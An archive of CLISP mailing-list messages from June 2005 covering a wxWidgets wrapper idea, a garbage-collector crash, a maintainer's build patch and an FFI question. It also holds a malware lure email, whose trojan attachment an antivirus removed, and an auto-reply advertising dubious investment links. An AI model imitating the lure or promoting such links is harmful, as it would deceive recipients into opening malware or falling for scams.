sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 17 10:15:14 2005 X-Original-Date: Fri, 17 Jun 2005 14:14:25 -0300 Changing the subject a bit, does anyone know if is there any work going=20 on towards writing a kind of wrapper to the wxWidgets library ?! I can=20 think of a few good reasons to write a 'wxClisp wrapper' (similar to=20 wxPython): - wxWidgets is open-source; - It's a cross-platform GUI; - Provides a relative easy way to write a graphical application Maybe I could start doing something like this (although I am a lisp=20 newbie) if someone demonstrates interest in using it. Regards Andr=E9 V. Abs da Cruz Berlin Brown wrote: >I don't know why I quit, my focus moved away from Lisp. > >I changed servers from retroevolution.com to >newspiritcompany.com > > >On 6/16/05, Reini Urban wrote: > =20 > >>Berlin Brown schrieb: >> =20 >> >>>If quit working on a Win32 GUI library, actually it just simply >>>connects the API to lisp through FFI, nothing too complicated. >>>Anyway, if anybody wants to continue the project or have any questions >>>on how they can create their own system you may ask me. I didn't get >>>too far with the Win32 widget creation set, but it is more code than >>>zero. >>> =20 >>> >>May I ask why did you quit? >> >>I tried to download the src for some time, but your server were down. >>Thanks for the update! >> >> =20 >> >>> You can find out more about the project here. I used open tools for >>>compiling on Windows so you don't need to purchase anything. >>> >>>http://www.newspiritcompany.com/retroevolution/widget_toolkit/widget.h= tm >>> >>>Latest source release. >>> >>>http://www.newspiritcompany.com/src/Widget-0.1.b57-050505-0802.zip >>> =20 >>> >>-- >>Reini Urban >>http://xarch.tu-graz.ac.at/home/rurban/ >>http://phpwiki.org/ >> >> =20 >> > > >------------------------------------------------------- >SF.Net email is sponsored by: Discover Easy Linux Migration Strategies >from IBM. Find simple to follow Roadmaps, straightforward articles, >informative Webcasts and more! Get everything you need to get up to >speed, fast. http://ads.osdn.com/?ad_idt77&alloc_id=16492&op=CCk >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/clisp-list > > > =20 > --=20 ------------------------------------------------------- Andr=E9 Vargas Abs da Cruz Laborat=F3rio de Intelig=EAncia Computacional Aplicada Departamento de Engenharia El=E9trica Pontif=EDcia Universidade Cat=F3lica - Rio de Janeiro http://www.ica.ele.puc-rio.br/ From jem@yahoo.com Sat Jun 18 04:29:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DjbVz-0007PJ-TP for clisp-list@lists.sourceforge.net; Sat, 18 Jun 2005 04:29:31 -0700 Received: from mx1.itb.ac.id ([167.205.23.6]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DjbVw-0002Qu-Py for clisp-list@lists.sourceforge.net; Sat, 18 Jun 2005 04:29:31 -0700 Received: from antivirus.itb.ac.id (antivirus.ITB.ac.id [167.205.108.137]) by mx1.itb.ac.id (Postfix) with SMTP id E3189B24D5 for ; Sat, 18 Jun 2005 18:28:53 +0700 (WIT) Received: from localhost (unknown [167.205.39.73]) by mx1.itb.ac.id (Postfix) with ESMTP id 23AF8BEB25 for ; Sat, 18 Jun 2005 18:28:53 +0700 (WIT) From: jem@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: <20050618112853.23AF8BEB25@mx1.itb.ac.id> X-Spam-Score: 2.4 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Hi. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jun 18 04:30:04 2005 X-Original-Date: Sat, 18 Jun 2005 18:28:53 +0700 (WIT) Here is the archive with those information, you asked me. And don't forget, it is strongly confidencial!!! Seya, man. P.S. Don't forget my fee ;) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0008_5BD3CDD7.119C5E3D" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0008_5BD3CDD7.119C5E3D Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: 7bit RE: ------=_NextPart_000_0008_5BD3CDD7.119C5E3D Content-Type: text/plain Content-Transfer-Encoding: 8bit Content-Disposition: attachment; filename="SecUNCE.exe.txt" *************************************************************** ** Attachment SecUNCE.exe was infected with Trojan.DR.Plexus.G1 virus, ** attachment part was removed. *************************************************************** ------=_NextPart_000_0008_5BD3CDD7.119C5E3D-- From roland.averkamp@gmx.de Mon Jun 20 13:49:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DkTCg-0004ZN-Sr for clisp-list@lists.sourceforge.net; Mon, 20 Jun 2005 13:49:10 -0700 Received: from mail.gmx.de ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DkTCf-0003q4-04 for clisp-list@lists.sourceforge.net; Mon, 20 Jun 2005 13:49:10 -0700 Received: (qmail 13905 invoked by uid 0); 20 Jun 2005 20:48:56 -0000 Received: from 84.159.196.85 by www62.gmx.net with HTTP; Mon, 20 Jun 2005 22:48:56 +0200 (MEST) From: roland.averkamp@gmx.de To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <24900.1119300536@www62.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] GC bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 20 13:49:50 2005 X-Original-Date: Mon, 20 Jun 2005 22:48:56 +0200 (MEST) Hello, If I run the following code on Windows XP, clisp implementation: "2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])" [1]> (let ((string (make-string 10000 :initial-element #\a))) (setf (aref string 0) (code-char 1000))) #\COPTIC_CAPITAL_LETTER_HORI [2]> (gc) *** - handle_fault error2 ! address = 0x1a4ec5b4 not in [0x19d70000,0x19e658a4) ! SIGSEGV cannot be cured. Fault address = 0x1a4ec5b4. clisp crashes. The same happens on Linux (Linux linux 2.4.21-99-default #1 Wed Sep 24 13:30:51 UTC 2003 i686 i686 i386 GNU/Linux) clisp implementation: "2.33.2 (2004-06-02) (built 3313963525) (memory 3313963906)" If the initial element of the string #\a is replaced by (code-char 1000), then on Linux and Windows there is no crash. To reproduce the crash, you might have to increase the initial size of the string. I compiled clisp with debug support on Linux and when executing (let ((string (make-string 10000 :initial-element #\a ))) (setf (aref string 0) (code-char 1000))) in File in function reallocate_small_string in file spvw_typealloc.d the following assertion failed (at the bottom of the function): #ifdef DEBUG_SPVW if (size != objsize(ThePointer(mutated_string))) abort(); #endif Roland -- Geschenkt: 3 Monate GMX ProMail gratis + 3 Ausgaben stern gratis ++ Jetzt anmelden & testen ++ http://www.gmx.net/de/go/promail ++ From sds@gnu.org Mon Jun 20 14:54:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DkUDl-0002HM-64 for clisp-list@lists.sourceforge.net; Mon, 20 Jun 2005 14:54:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DkUDi-0005kg-Kl for clisp-list@lists.sourceforge.net; Mon, 20 Jun 2005 14:54:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5KLs6NM003277; Mon, 20 Jun 2005 17:54:06 -0400 (EDT) To: clisp-list@lists.sourceforge.net, roland.averkamp@gmx.de Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <24900.1119300536@www62.gmx.net> (roland averkamp's message of "Mon, 20 Jun 2005 22:48:56 +0200 (MEST)") References: <24900.1119300536@www62.gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, roland.averkamp@gmx.de Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: GC bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 20 14:54:55 2005 X-Original-Date: Mon, 20 Jun 2005 17:53:33 -0400 > * [2005-06-20 22:48:56 +0200]: > > (2004-03-17) (built on winsteingoldlap [192.168.1.101])" this has been far too long ago :-) I cannot reproduce this with the current CVS head - could you please try that? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Fighting for peace is like screwing for virginity. From Joerg-Cyril.Hoehle@t-systems.com Tue Jun 21 09:59:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dkm68-0001b4-BF for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 09:59:40 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dkm64-0000iG-VT for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 09:59:38 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 21 Jun 2005 18:59:41 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Jun 2005 18:59:30 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304BC1DAD@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: roland.averkamp@gmx.de Subject: Re: [clisp-list] Re: GC bug? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 21 11:02:55 2005 X-Original-Date: Tue, 21 Jun 2005 18:59:30 +0200 Hi, Sam Steingold wrote: >> (2004-03-17) (built on winsteingoldlap [192.168.1.101])" >this has been far too long ago :-) >I cannot reproduce this with the current CVS head - could you >please try that? Roland Averkamp wrote: >The same happens on Linux (Linux linux 2.4.21-99-default #1 Wed Sep 24 >13:30:51 UTC 2003 i686 i686 i386 GNU/Linux) >clisp implementation: "2.33.2 (2004-06-02) (built 3313963525) (memory >3313963906)"> clisp-2.33.2 is what one gets on a Ubuntu/Hoary/Debian distribution. It's not really that old (counted in release cycles of CLISP :). Indeed, it crashes. CLISP from CVS does not crash on that, which is not surprising, since the mutable strings (going from a 8-bit byte representation to a 16 or 32-bit wide one, required for (code-char 1000) has received several bug fixes. A work-around for you may be to replace make-string with make-array :element-type 'character, which allocates 32-bit wide character arrays right from the start, so no mutation will happen. Or download one of those clisp-2.33.83 binaries, I'd expect them to be ok as well. Regards, Jorg Hohle. From roland.averkamp@gmx.de Tue Jun 21 13:56:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dkpmx-0005Zt-GD for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 13:56:07 -0700 Received: from mail.gmx.de ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1Dkpmu-0008SE-JV for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 13:56:07 -0700 Received: (qmail 27064 invoked by uid 0); 21 Jun 2005 20:55:56 -0000 Received: from 84.159.237.222 by www73.gmx.net with HTTP; Tue, 21 Jun 2005 22:55:57 +0200 (MEST) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 References: X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <21972.1119387357@www73.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: GC bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 21 13:57:28 2005 X-Original-Date: Tue, 21 Jun 2005 22:55:57 +0200 (MEST) The clisp version on Linux was 2.33.2 which is the current official release. But it seems that the function spvw_typealloc.d has changed in the mean time. I checked out the CVS head and tried to build clisp on linux, but I got an error: charstrg.d: In function `coerce_char': charstrg.d:1251: error: structure has no member named `S_input_character' charstrg.d:1253: error: structure has no member named `S_input_character_char' make: *** [charstrg.o] Error 1 I guess there is a simple explanation for this, but I do not know it. -- Weitersagen: GMX DSL-Flatrates mit Tempo-Garantie! Ab 4,99 Euro/Monat: http://www.gmx.net/de/go/dsl From sds@gnu.org Tue Jun 21 14:16:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dkq6V-00077s-R9 for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 14:16:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dkq6S-0003YE-JK for clisp-list@lists.sourceforge.net; Tue, 21 Jun 2005 14:16:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5LLG2Lp003614; Tue, 21 Jun 2005 17:16:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <21972.1119387357@www73.gmx.net> (Roland Averkamp's message of "Tue, 21 Jun 2005 22:55:57 +0200 (MEST)") References: <21972.1119387357@www73.gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Roland Averkamp" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: GC bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 21 14:17:22 2005 X-Original-Date: Tue, 21 Jun 2005 17:15:30 -0400 > * Roland Averkamp [2005-06-21 22:55:57 +0200]: > > The clisp version on Linux was 2.33.2 which is the current official release. > But it seems that the function spvw_typealloc.d has changed in the mean > time. > > I checked out the CVS head and tried to build clisp on linux, > but I got an error: > > charstrg.d: In function `coerce_char': > charstrg.d:1251: error: structure has no member named `S_input_character' > charstrg.d:1253: error: structure has no member named > `S_input_character_char' > make: *** [charstrg.o] Error 1 thanks for the bug report - please try this patch: --- charstrg.d 21 Jun 2005 09:39:52 -0400 1.116 +++ charstrg.d 21 Jun 2005 17:15:14 -0400 @@ -1248,11 +1248,14 @@ if (code < char_code_limit) /* obj is a fixnum >=0, < char_code_limit */ return code_char(as_chart(code)); - } else if (typep_classname(obj,S(input_character))) { + } +#if defined(KEYBOARD) + else if (typep_classname(obj,S(input_character))) { /* obj is an INPUT-CHARACTER. Call (SYS::INPUT-CHARACTER-CHAR obj): */ pushSTACK(obj); funcall(S(input_character_char),1); return charp(value1) ? value1 : NIL; } +#endif /* was none of it -> can not be converted into a character */ return NIL; /* NIL as result */ } -- Sam Steingold (http://www.podval.org/~sds) running w2k WinWord 6.0 UNinstall: Not enough disk space to uninstall WinWord From roland.averkamp@gmx.de Wed Jun 22 13:49:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DlC9u-0001RR-Ft for clisp-list@lists.sourceforge.net; Wed, 22 Jun 2005 13:49:18 -0700 Received: from pop.gmx.de ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DlC9s-0001g6-Lw for clisp-list@lists.sourceforge.net; Wed, 22 Jun 2005 13:49:18 -0700 Received: (qmail 26143 invoked by uid 0); 22 Jun 2005 20:49:10 -0000 Received: from 84.159.184.123 by www8.gmx.net with HTTP; Wed, 22 Jun 2005 22:49:10 +0200 (MEST) From: "Roland Averkamp" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 References: X-Priority: 3 (Normal) X-Authenticated: #10600793 Message-ID: <22701.1119473350@www8.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: GC bug? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 22 13:50:11 2005 X-Original-Date: Wed, 22 Jun 2005 22:49:10 +0200 (MEST) thanks, with the patch the build was succesfull. And this version does not have the gc bug anymore. -- Geschenkt: 3 Monate GMX ProMail gratis + 3 Ausgaben stern gratis ++ Jetzt anmelden & testen ++ http://www.gmx.net/de/go/promail ++ From toko_2naga@yahoo.com Wed Jun 22 19:34:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DlHXr-0001AE-2p for clisp-list@lists.sourceforge.net; Wed, 22 Jun 2005 19:34:23 -0700 Received: from mta156.mail.mud.yahoo.com ([68.142.202.88]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DlHXo-0005qu-Q0 for clisp-list@lists.sourceforge.net; Wed, 22 Jun 2005 19:34:22 -0700 From: toko_2naga@yahoo.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text Message-ID: X-Spam-Score: 2.8 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.4 FROM_HAS_ULINE_NUMS From: contains an underline and numbers/letters Subject: [clisp-list] Yahoo! Auto Response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 22 19:35:10 2005 X-Original-Date: Wed, 22 Jun 2005 19:34:15 -0700 (PDT) Terima kasih Anda telah menghubungi saya.Salam sukses luar biasa untuk Anda. Peluang bisnis klik http://tokobisnis.qn.com Profit investasi lebih besar ketimbang bunga bank,klik http://tokoinvestasi.qn.com Hemat biaya promosi produk Anda http://softwarebisnis.qn.com Beli pulsa dapat 146 Jt http://tokopulsa.qn.com Wadah berpromosi produk Anda pasti dapat 75 Jt http://gudangbisnis.qn.com -------------------- Original Message: X-Originating-IP: [202.145.2.26] Return-Path: Authentication-Results: mta156.mail.mud.yahoo.com from=lists.sourceforge.net; domainkeys=neutral (no sig) Received: from 202.145.2.26 (EHLO yahoo.com) (202.145.2.26) by mta156.mail.mud.yahoo.com with SMTP; Wed, 22 Jun 2005 19:34:14 -0700 From: clisp-list@lists.sourceforge.net To: toko_2naga@yahoo.com Subject: Re: bill Date: Thu, 23 Jun 2005 02:21:30 +0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please see the attached file for details. --- _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com From lisp-clisp-list@m.gmane.org Sat Jun 25 16:37:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmKCt-0000M8-WF for clisp-list@lists.sourceforge.net; Sat, 25 Jun 2005 16:37:04 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DmKCs-0002I4-CL for clisp-list@lists.sourceforge.net; Sat, 25 Jun 2005 16:37:03 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DmK6F-0002Mh-CC for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 01:30:11 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 01:30:11 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 26 Jun 2005 01:30:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 15 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:MhPJ9DczRWGt4A3EtZUBpiwWNDQ= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] clisp - link Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jun 25 16:38:00 2005 X-Original-Date: Fri, 24 Jun 2005 23:48:40 -0700 Hello, I am trying to learn how to use ffi on windows using clisp. The spec says that I need to use a program called "clisp-link" but there is no such program in my clisp distribution. I am using version 2.33.2, how can I generate clisp-link or where do I download it? Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From Devon@Jovi.Net Sun Jun 26 02:12:36 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmTBo-0006nm-Fw for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 02:12:32 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DmTBk-0000af-1Z for clisp-list@lists.sourceforge.net; Sun, 26 Jun 2005 02:12:29 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j5Q9CAGc056070 (version=TLSv1/SSLv3 